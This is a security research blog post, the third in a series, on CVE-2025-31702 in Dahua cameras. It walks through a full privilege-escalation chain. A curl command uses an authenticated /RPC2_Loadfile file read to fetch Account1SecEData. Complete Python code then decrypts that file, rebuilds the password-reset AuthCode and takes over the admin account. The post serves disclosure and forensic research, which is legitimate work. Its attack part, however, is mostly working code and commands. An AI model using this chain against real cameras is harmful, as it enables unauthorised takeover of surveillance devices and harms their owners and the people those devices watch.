
By Javier Medina ( X / LinkedIn)
TL;DR
In Part I and Part II we focused on what we saw during DFIR (mainly P2P and auto-update mismatches) and the operational impact in real environments. This third part is intentionally different. It’s a technical deep dive on the core of CVE-2025-31702.
In short:
- Prior research on the Lorex 2K camera by Midnight Blue documented how the Lorex (Dahua-made) password reset flow builds an AuthCode from internal secrets, and where those secrets live on disk (Account1Sec and Account1SecEData). They stopped there, because they didn’t have a file-read primitive.
- On our Dahua DFIR research, we found an authenticated HTTP endpoint
/RPC2_Loadfilethat allows arbitrary file read for any logged-in user, including low-privilege user-role viewer accounts. Reading/mnt/mtd/Config/Account1SecEDatagives exactly the blob that feeds the AuthCode generator. - Dahua’s implementation is similar but not identical to the Lorex case. The MD5 truncation pattern is effectively the same, but the encryption key derivation and the plaintext layout fed into the hash have small, yet important, differences that we had to reverse on our firmware.
- The combination of both pieces with some developed tools provides us with a full-chain that begins with low-priv user RPC2_Loadfile arbitrary file reading, and obtaining Account1SecEData decryption, authcode reconstruction to finally reset the admin password. That is what CVE-2025-31702 describes at a high level.
This article walks through that chain end-to-end, focusing only on the technical side.
From Lorex to Dahua: One step further
We would like to begin this post by explaining the excellent write-up by Midnight Blue on the Lorex 2K Indoor Wi-Fi camera. Without their prior work, the effort to achieve the same result would have taken us many more hours. Our sincere gratitude.
They show that Lorex uses some kind of Dahua rebranded firmware and they go deep into password reset process, detailing:
- How the password-reset flow uses a short AuthCode.
- How
PasswdFind.getDescriptandPasswdFind.checkAuthCodeinteract. - How the AuthCode is derived from a set of values:
- a fixed mode (
1) - the serial number
- a timestamp
- the MAC address
- and random data from
/dev/urandom
- a fixed mode (
- How the supporting state is stored on disk in two encrypted files:
/mnt/mtd/Config/Account1Sec/mnt/mtd/Config/Account1SecEData
They also describe the key derivation they found on Lorex.
def derive_key(input: bytes):
xored = b''
for i in range(len(input)):
xored += bytes([input[i] ^ (i + 1)])
import hashlib
md5 = hashlib.md5()
md5.update(xored)
return md5.hexdigest()
assert derive_key(b"IPCND042401016699") == '1d6f95ae7724fce5969e89245e191d8e'
And finally they reach a sharp observation: “If we have a local file inclusion or can read this file in one way or another, it is trivial to compute the AuthCode and to reset the password of the administrator user. Unfortunately, we were not able to find such a local file inclusion that allows for this attack vector“.
Our DFIR case was quite different. We weren’t analyzing a Lorex device, but rather Dahua devices, and we already suspected that there was a privilege escalation path because we had indications that someone was exploiting it. The research on Lorex provided us with a map of what the password reset mechanism should look like. Our task was to check how closely that map matched the Dahua firmware we had in front of us and, of course, to be able to find the missing piece.
We needed a way to read Account1SecEData remotely.
STEP 1: FINDING A REMOTE FILE READ
The first step was to locate any HTTP endpoint that could serve files from the underlying filesystem. On our main testing firmware (V2.810.9992002.0.R.240123), once authenticated as a low-privileged user, for example with a user account, we observed calls to an interesting internal handler named /RPC2_Loadfile.
After several tests, it became clear that this was the endpoint we needed, because it was affected by an arbitrary file reading vulnerability and also:
- It only requires a valid login, not admin privileges.
- It accepts absolute paths under /mnt/mtd/Config/
- It returns raw file content over HTTP without limitations.
We don’t need much more to get what we were looking for.
# 1) Login as a low-privilege user and keep the session cookie.
# 2) Fetch Account1SecEData via RPC2_Loadfile
curl -v -b "WebClientSessionID=..." "http://CAMERA_IP/RPC2_Loadfile/mnt/mtd/Config/Account1SecEData" -o Account1SecEData
We now had on disk exactly the encrypted blob that Midnight Blue had identified as the interesting one for AuthCode derivation. At this point, everything reduces to a local cryptography problem. Given Account1SecEData, can we decrypt the blob and reconstruct the admin AuthCode?
According to our Dutch “friends,” everything seemed to suggest that it would.
Step two: decrypting blobs
Same idea, slightly different key
The Lorex analysis showed that Account1Sec and Account1SecEData are encrypted with AES-ECB, and that the key is derived from device_class + serial via a simple XOR+MD5 construction. On our firmware, the general pattern was similar, but the details were not identical.
By following the calls around the code that opens Account1SecEData and passes it to the crypto layer, we saw that Dahua adds an extra constant string into the key material. The derivation on our firmware looks like:
def xor_inc(b: bytes) -> bytes:
return bytes(x ^ ((i+1) & 0xFF) for i, x in enumerate(b))
def derive_key_hex(devcls: str, serial: str) -> bytes:
# On DH: “class + serial + version” with a fixed version tag.
seed = (devcls + serial + "1.0.2.2").encode()
x = xor_inc(seed)
# MD5 → hex string → 32 ASCII characters used as AES-256 key
return hashlib.md5(x).hexdigest().encode()
So rather than IPC + serial, the seed on this Dahua firmware is:
<device_class><serial>1.0.2.2
Where device_class is a short ASCII tag such as SD and serial is the 15-character S/N of the camera. Running this on our firmware test produced a key that successfully decrypted the blobs.
decrypting the payload
Account1SecEData is not just a flat AES-ECB dump.
In our samples, the file starts with a 16-byte block, followed by several identical 16-byte blocks. The encrypted payload (the part we need to reconstruct the recovery state) starts immediately after that region. In the lab script, we simply ignore the first block and all consecutive blocks that are identical to the second, and decrypt the rest with AES-ECB and the key derived from class + serial + “1.0.2.2”.
#!/usr/bin/env python3
import hashlib, json, sys
from pathlib import Path
from Crypto.Cipher import AES
def xor_inc(b: bytes) -> bytes:
return bytes(x ^ ((i+1)&0xFF) for i,x in enumerate(b))
def derive_key_hex(devcls: str, serial: str) -> bytes:
# seed = class + serial + "1.0.2.2"
seed = (devcls + serial + "1.0.2.2").encode()
x = xor_inc(seed)
return hashlib.md5(x).hexdigest().encode() # 32 ASCII chars
def decrypt_edata(path: Path, devcls: str, serial: str) -> bytes:
blob = path.read_bytes()
bs = 16
iv_block = blob[bs:2*bs]
count = 0
while blob[bs + count*bs : bs + (count+1)*bs] == iv_block:
count += 1
offset = (count + 1) * bs
payload = blob[offset:]
key = derive_key_hex(devcls, serial)
cipher = AES.new(key, AES.MODE_ECB)
return cipher.decrypt(payload)
if __name__=="__main__":
if len(sys.argv)!=4:
print("Usage: python decrypt_edata.py <Account1SecEData> <class> <serial>")
sys.exit(1)
fpath, devcls, serial = Path(sys.argv[1]), sys.argv[2], sys.argv[3]
pt = decrypt_edata(fpath, devcls, serial)
s = pt.lstrip(b"\x00").decode("utf-8", errors="ignore")
i = s.find("{")
if i!=-1:
try:
obj = json.loads(s[i:])
print(json.dumps(obj, indent=2))
sys.exit(0)
except json.JSONDecodeError:
pass
print("=== RAW TEXT ===")
print(s[:512])
On our lab firmware, running:
$ python decrypt_edata.py Account1SecEData SD [SERIAL]
Gave us a plaintext where two things stood out:
- Human-readable fields such as the serial and the recovery email.
- A 15-character hexadecimal string (the random seed) and a timestamp.
Step three: RECOVERING AuthCodeS
Once we had access to the decrypted Account1SecEData, we needed to replicate how the firmware computes the AuthCode from that state and, obviously, it also has changes compared to Lorex.
The input blob
The function named as FUN_000c0038 in our reversing is responsible for generating the plaintext that will be hashed. Reading past the noise (buffer size calculations, feature flags, etc.), the important part is the order and structure of the fields it writes.
In simplified form, it builds a string like:
1
<SERIAL>
<TIMESTAMP>
<EMAIL>
<RAND15>
<TAIL_CHAR>
Note the blank line between email and the random field. The last line (TAIL_CHAR) is a single character; on our firmware it was set to B for our release build. A Python equivalent of what we observed is:
MODE = "1"
SERIAL = "REDACTED"
TIMESTAMP = 1747596525 # timestamp
EMAIL = "user@example.com"
RAND15 = "02DE420671479CE" # 15-hex from Account1SecEData
TAIL_CHAR = "B" # build marker
def make_blob():
return "\n".join([
MODE,
SERIAL,
str(TIMESTAMP),
EMAIL,
"", # empty line
RAND15,
TAIL_CHAR
]).encode()
Conceptually this matches the Lorex implementation documented by Midnight Blue. A small, newline-delimited record that combines a fixed mode, the serial number, a timestamp and some “contact” + random data. The differences we found on Dahua are in which fields are used (for example, an email instead of a MAC address in our build), and the most important difference, the exact layout of newlines.
In any case, this blob is then hashed with MD5, and the 32-character hex digest goes into the truncation function.
The MD5 truncation
Dahua reuses the same “weird MD5 truncation” pattern: the code walks the MD5 hex digest in 4-byte chunks and, for each of the 8 iterations, picks one character based on i % 3 and i % 7.
A faithful Python reconstruction of the function we saw (the one labelled at reversing as FUN_001007d8) is:
import hashlib
def auth_from_md5hex(h: str) -> str:
"""
Replicates the truncation logic over the MD5 hex digest.
"""
out = []
for i in range(8):
j = i * 4
if i % 3 == 0:
out.append(h[j+3])
elif i % 7 == 0:
out.append(h[j+1])
else:
out.append(h[j])
return ''.join(out)
def make_hash(blob: bytes) -> str:
return hashlib.md5(blob + b"\x00").hexdigest()
Putting everything together looks like:
blob = make_blob()
md5hex = make_hash(blob)
code = auth_from_md5hex(md5hex)
print("MD5 :", md5hex)
print("Auth:", code)
As example, in our lab, this code produced:
MD5 : 575a558ac308f97178caa62bc3ca328d
Auth: a5c17aa2
The AuthCode above matched what the device expected for that specific Account1SecEData state. At this point the puzzle is complete. We can go from the encrypted file on disk all the way to the AuthCode that the password-reset API will accept.
CVE-2025-31702: FULL-CHAIN ATTACK
The complete exploitation chain for CVE-2025-31702 on the devices we tested with the tools that we have developed looks like this:
- Obtain low-privileged credentials. Any valid non-admin user (viewer, operator, etc.) is enough.
- Read
Account1SecEDatavia HTTP. Use the/RPC2_Loadfileendpoint with the authenticated session to download Account1SecEData. - Decrypt
Account1SecEData. Rundecrypt_edata.py(or similar) locally with the known device class and serial to obtain the plaintext structure, including the random seed, the timestamp and the email field. - Recompute the AuthCode. Use the reconstructed blob builder and MD5 truncation function to derive the 8-character AuthCode for the current state.
- Call the password reset path. Submit the AuthCode to the password-reset endpoint (the same flow used by the legitimate recovery mechanism), and set a new admin password.
From the point of view of the HTTP API, nothing “illegal” is happening. The calls are shaped like normal password-recovery operations. The only difference is that the attacker is able to compute the AuthCode on their own, by reading the internal state that was meant to stay on disk.
THE END?
In the previous parts we focused on the context. How P2P allowed reachability without ports, how auto-update mismatches prolonged exposure and how this all showed up in a real DFIR case.
In this third part we intentionally removed all operational and governance discussion and concentrated on the technical chain. It’s definitely the most fun part for us, even though at the end of the game it’s just exploiting a vulnerability.
Is this the last article in this series? At the moment, everything seems to point to that, but we will never know when we might encounter another case involving Dahua.